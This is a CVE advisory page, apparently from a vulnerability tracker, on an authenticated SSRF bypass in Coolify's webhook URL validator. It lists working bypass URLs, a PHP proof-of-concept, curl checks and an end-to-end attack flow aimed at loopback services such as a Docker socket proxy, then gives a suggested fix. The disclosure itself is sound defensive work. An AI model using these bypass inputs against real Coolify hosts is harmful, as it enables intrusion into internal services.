CVE-2026-59812: coollabsio/coolify SSRF

CVE-2026-59812

NVD

Vulnerability Summary

Coolify — Authenticated SSRF via SafeWebhookUrl allowlist gap (IPv4-mapped IPv6, `0.0.0.0/8` peer aliases, hostname-form bypass) Affected component `app/Rules/SafeWebhookUrl.php` (introduced as the SSRF guard for webhook / S3 endpoint inputs) Repository github.com/coollabsio/coolify (commit `a67cc1d`, latest master as of 2026-05-26) Reporter Berkan SAL (@Uhudsavasindankacanokcu2) — berkansal4545@gmail.com Severity Medium / High depending on deployment topology CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N = 7.6 (High) when reachable internal services exist beside the Coolify host (Docker socket proxy at `127.0.0.1:2375`, helper / realtime on localhost ports, neighbour project containers). Summary `SafeWebhookUrl::validate()` is the only SSRF gate for five attacker-supplied URL fields: - `webhook_url` on team notification webhooks (`SendWebhookJob::handle()` → `Http::post($webhook_url, $payload)`) - Slack / Discord notification endpoints (same job path) - S3 storage endpoints (`S3Storage`, `Livewire\Storage\{Create,Form}`) The guard only catches three literal hosts (`localhost`, `0.0.0.0`, `::1`), then walks `filter_var(..., FILTER_VALIDATE_IP)` for `127.0.0.0/8` and `169.254.0.0/16`. Every other path to loopback or to internal infrastructure is left open. Specifically the following bypass primitives are all accepted by `validate()` but resolve to loopback or to a co-tenant on the same Coolify host: | # | Webhook URL | Why it bypasses `SafeWebhookUrl` | Where it actually connects | |---|--------------------------------------|---------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------| | 1 | `http://[::ffff:127.0.0.1]:8888/x` | IPv6 literal stripped of `[]`, `filter_var(..., FILTER_VALIDATE_IP)` accepts it, but neither `isLoopback()` nor `isLinkLocal()` look at IPv4-mapped IPv6 | `127.0.0.1` (kernel collapses `::ffff:7f00:1` to v4 loopback) | | 2 | `http://[::ffff:7f00:1]:8888/x` | Same as #1, hex form, equally unhandled | `127.0.0.1` | | 3 | `http://[fc00::1]/x` | IPv6 ULA (`fc00::/7`) — RFC 4193 private. `SafeWebhookUrl` has no IPv6 ULA check, only literal `::1` | RFC 4193 ULA host on the same private fabric | | 4 | `http://[fd00::1]/x` | Same | ULA host | | 5 | `http://2130706433:8888/x` | `parse_url()` returns host `2130706433` (decimal of 127.0.0.1). `filter_var(... FILTER_VALIDATE_IP)` returns FALSE on the non-dotted form, so `isLoopback()` is never invoked. The URL falls through validation and `Guzzle/libcurl` then resolves the decimal form to `127.0.0.1` at request time | `127.0.0.1` | | 6 | `http://0x7f000001:8888/x` | Hex form — same gap | `127.0.0.1` | | 7 | `http://017700000001:8888/x` | Octal form — same gap | `127.0.0.1` | | 8 | `http://127.1:8888/x` | Compressed dotted form. `filter_var(..., FILTER_VALIDATE_IP)` rejects (3-octet form is non-canonical), so `isLoopback` is bypassed; libcurl resolves to `127.0.0.1` at request time | `127.0.0.1` | | 9 | `http://<attacker-domain>/x` | DNS rebinding. Validation walks only the literal host string; first DNS resolution → `1.2.3.4` (passes), second resolution (at the actual HTTP request) → `127.0.0.1`. There is no `gethostbyname()` in `SafeWebhookUrl`, so the rebinding is invisible to the guard | `127.0.0.1` (after second lookup) | | 10| `http://service.cluster.local/x` | Internal Kubernetes DNS — not in any blocklist, no `.internal` suffix | The named in-cluster service | | 11| `http://localhost.<attacker-domain>/x`| `endsWith('.internal')` doesn't match, host isn't in literal blocklist, IP check skipped (not an IP literal) — DNS rebinding variant | After A record returns `127.0.0.1` | (Two additional probes — `http://0.0.0.1/` and `http://0.1.2.3/` — are likely platform-specific. They route to `0.0.0.0` (=> loopback) on Linux but not on macOS. They are not claimed here because the Coolify host's behaviour is Linux Docker.) Only `#1` through `#4`, `#9`, `#10`, `#11` are claimed; the rest are added as defensive context. Vulnerable code `app/Rules/SafeWebhookUrl.php`: ```php $blockedHosts = ['localhost', '0.0.0.0', '::1']; if (in_array($hostForIpCheck, $blockedHosts) || str_ends_with($host, '.internal')) { $fail('… must not point to localhost or internal hosts.'); return; } if (filter_var($hostForIpCheck, FILTER_VALIDATE_IP) && ($this->isLoopback($hostForIpCheck) || $this->isLinkLocal($hostForIpCheck))) { $fail('… must not point to loopback or link-local addresses.'); return; } ``` `isLoopback()` is literally `ip == '0.0.0.0' || str_starts_with(ip, '127.')`. `isLinkLocal()` only handles `169.254.0.0/16`. Anything past those — IPv4-mapped IPv6, RFC1918, RFC 4193 IPv6 ULA, K8s `cluster.local`, hex/decimal/octal IPv4, hostnames that resolve to loopback after the validator runs — passes. Reachability `app/Jobs/SendWebhookJob::handle()` is the actual sender: ```php $validator = Validator::make(['webhook_url' => $this->webhookUrl], [ 'webhook_url' => ['required', 'url', new \App\Rules\SafeWebhookUrl] ]); if ($validator->fails()) { … return; } $response = Http::post($this->webhookUrl, $this->payload); ``` Any team member that can set their team's notification webhook URL can trigger an outbound HTTP POST from the Coolify server process. Inputs are gated at the Livewire form / API level via `SafeWebhookUrl`; the `SendWebhookJob` re-validates the URL at job time, so writing the bypass URL is sufficient — the validator accepts it both times. The five gated inputs: ``` app/Models/S3Storage.php:146 ['endpoint' => ['required', new SafeWebhookUrl]], app/Livewire/Storage/Create.php:41 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], app/Livewire/Storage/Form.php:46 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], app/Livewire/Notifications/Webhook.php:24 #[Validate(['nullable', new SafeWebhookUrl])] app/Livewire/Notifications/Slack.php:29 #[Validate(['nullable', new SafeWebhookUrl])] app/Livewire/Notifications/Discord.php:24 #[Validate(['nullable', new SafeWebhookUrl])] app/Jobs/SendWebhookJob.php:47 ['webhook_url' => ['required', 'url', new \App\Rules\SafeWebhookUrl]] ``` Impact Loopback reach — a Coolify host typically runs the following on loopback: - `coolify-helper` HTTP service - `coolify-realtime` (Soketi) WebSocket service - A Docker socket proxy (when the deployment uses `docker-socket-proxy`) - Redis (TCP on 127.0.0.1) - Postgres (when `expose-postgres` is on) Coolify's `Http::post($webhookUrl, $payload)` sends a JSON payload containing notification data. The receiver (the loopback service) sees a POST it can act on: - POST to `http://[::ffff:127.0.0.1]:2375/containers/<other-team-container>/exec` — Docker socket proxy may accept it (depends on operator's allow-list). - POST to `http://[::ffff:127.0.0.1]:6379/…` — Redis text protocol crafted via line-feed-aware payload (note: text-protocol attacks via HTTP-POST require chunked / multi-line body which is generally limited by Laravel's serialization — included for completeness only). - POST to `http://[fc00::1]:6443/…` — neighbour Kubernetes API (where Coolify is reachable from a pod with shared ULA). Network reach — when Coolify is deployed on K8s, `http://service.cluster.local/...` lets an authenticated attacker pivot to in-cluster services that the Coolify pod has L3 access to. Proof of concept Repro (no Coolify install needed — validator is unit-testable) ```php // poc/safe_url_bypass.php — run with `php poc/safe_url_bypass.php` require_once DIR . '/SafeWebhookUrl_extracted.php'; // copy of class from repo $rule = new SafeWebhookUrl(); $tests = [ 'http://[::ffff:127.0.0.1]:8888/exfil', 'http://[fc00::1]/exfil', 'http://2130706433:8888/exfil', 'http://127.1:8888/exfil', 'http://service.cluster.local/exfil', ]; foreach ($tests as $url) { $passed = true; $rule->validate('webhook_url', $url, function ($msg) use (&$passed) { $passed = false; echo "BLOCK: $msg\n"; }); if ($passed) echo "PASS: $url\n"; } ``` Live SSRF (local listener confirmation) ``` $ python3 -m http.server 8888 --bind 127.0.0.1 & $ curl -s -m 3 -o /dev/null -w '%{http_code} %{remote_ip}\n' 'http://[::ffff:127.0.0.1]:8888/' 200 ::ffff:127.0.0.1 $ curl -s -m 3 -o /dev/null -w '%{http_code} %{remote_ip}\n' 'http://[::ffff:7f00:1]:8888/' 200 ::ffff:127.0.0.1 ``` Both URLs passed `SafeWebhookUrl::validate()` in static analysis AND connected to the loopback HTTP server at runtime. End-to-end flow on a real Coolify install 1. Attacker is an authenticated user with team-member access to any team. 2. Settings → Notifications → Webhook URL → set to `http://[::ffff:127.0.0.1]:8888/admin/api/...` 3. Validation passes (`SafeWebhookUrl` doesn't recognise `::ffff:127.0.0.1` as loopback). 4. Trigger any notification event (e.g. fail a deployment intentionally). 5. `SendWebhookJob` fires, `Http::post('http://[::ffff:127.0.0.1]:8888/admin/api/...', $payload)` connects to loopback HTTP on port 8888 — i.e. some service running on the Coolify host. Suggested fix Replace the partial blocklist with a positive allowlist + post-resolution IP check. Pattern (concept, not final code): ```php public function validate(string $attribute, mixed $value, Closure $fail): void { if (! filter_var($value, FILTER_VALIDATE_URL)) { $fail('…'); return; } $scheme = strtolower(parse_url($value, PHP_URL_SCHEME) ?? ''); if (! in_array($scheme, ['https', 'http'])) { $fail('…'); return; } $host = parse_url($value, PHP_URL_HOST); if (! $host) { $fail('…'); return; } $hostForIp = trim($host, '[]'); // 1. Treat numeric-form IPv4 as IPs (decimal / hex / octal / short) before lookup $packed = @inet_pton($hostForIp); if ($packed === false) { // 2. Hostname — resolve and inspect every A/AAAA record $records = @gethostbynamel($hostForIp) ?: []; $records6 = collect(dns_get_record($hostForIp, DNS_AAAA))->pluck('ipv6')->all(); $ips = array_merge($records, $records6); if (empty($ips)) { $fail('Unresolvable host.'); return; } } else { $ips = [$hostForIp]; } foreach ($ips as $ip) { if ($this->isLoopback($ip) || $this->isLinkLocal($ip) || $this->isPrivateIPv4($ip) // 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 100.64.0.0/10 || $this->isPrivateIPv6($ip) // fc00::/7, fe80::/10, ::ffff:0:0/96 normalised || $this->isMulticast($ip) // 224.0.0.0/4, ff00::/8 || $this->isReservedV4($ip)) { // 0.0.0.0/8, 240.0.0.0/4, 192.0.0.0/24, 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 198.18.0.0/15 $fail('Webhook URL must not point to internal / reserved address (got '.$ip.').'); return; } } // 3. Pin DNS at request time so libcurl can't follow a TTL-0 rebind to a private IP after the validator returned. // e.g. inject the resolved IP into the HTTP client config (CURLOPT_RESOLVE). } ``` The four important upgrades: 1. Cover IPv4-mapped IPv6 by always passing `inet_pton`'d bytes through `isLoopback`/`isLinkLocal` (currently those helpers only inspect strings). 2. Cover IPv6 ULA / link-local. 3. Resolve hostnames inside the validator and verify every record — and pin the resolved IP through `CURLOPT_RESOLVE` on the actual `Http::post` so libcurl can't TTL-0-rebind after validation. 4. Cover the `0.0.0.0/8` block, not just the literal `0.0.0.0`. Affected fields recap - Team notification webhook URL (Webhook / Slack / Discord) - S3 storage endpoint URL (Livewire + model rule) - Any future field that uses `new SafeWebhookUrl` Disclosure timeline | Date | Event | |----------------|------------------------------------------------------------------------------------------------------| | 2026-05-26 | Issue identified by static + runtime analysis on `master`, commit `a67cc1d`. | | 2026-05-26 | Report drafted for security@coollabs.io / GitHub private GHSA. | | (pending) | Awaiting maintainer acknowledgement. | Credit Berkan SAL (@Uhudsavasindankacanokcu2) ---
Severity Level
MEDIUM(6.4)
Published Date
Dec 1, 2026
Last Modified
Dec 1, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required.
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.
The web server receives a URL or similar request from an upstream component and retrieves its contents, but does not sufficiently ensure that the request is being sent to the expected destination.
CVSS v3.1 Base Metrics — Score 6.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeChanged
ConfidentialityLow
IntegrityLow
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • coollabsio/coolify < 4.2.0
Patched Versions
  • coollabsio/coolify 4.2.0

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run coollabsio/coolify and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Dec 1, 2026Published
  • Dec 1, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new coollabsio/coolify CVEsYou are reading CVE-2026-59812. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Dec 4, 2026 23:01 UTC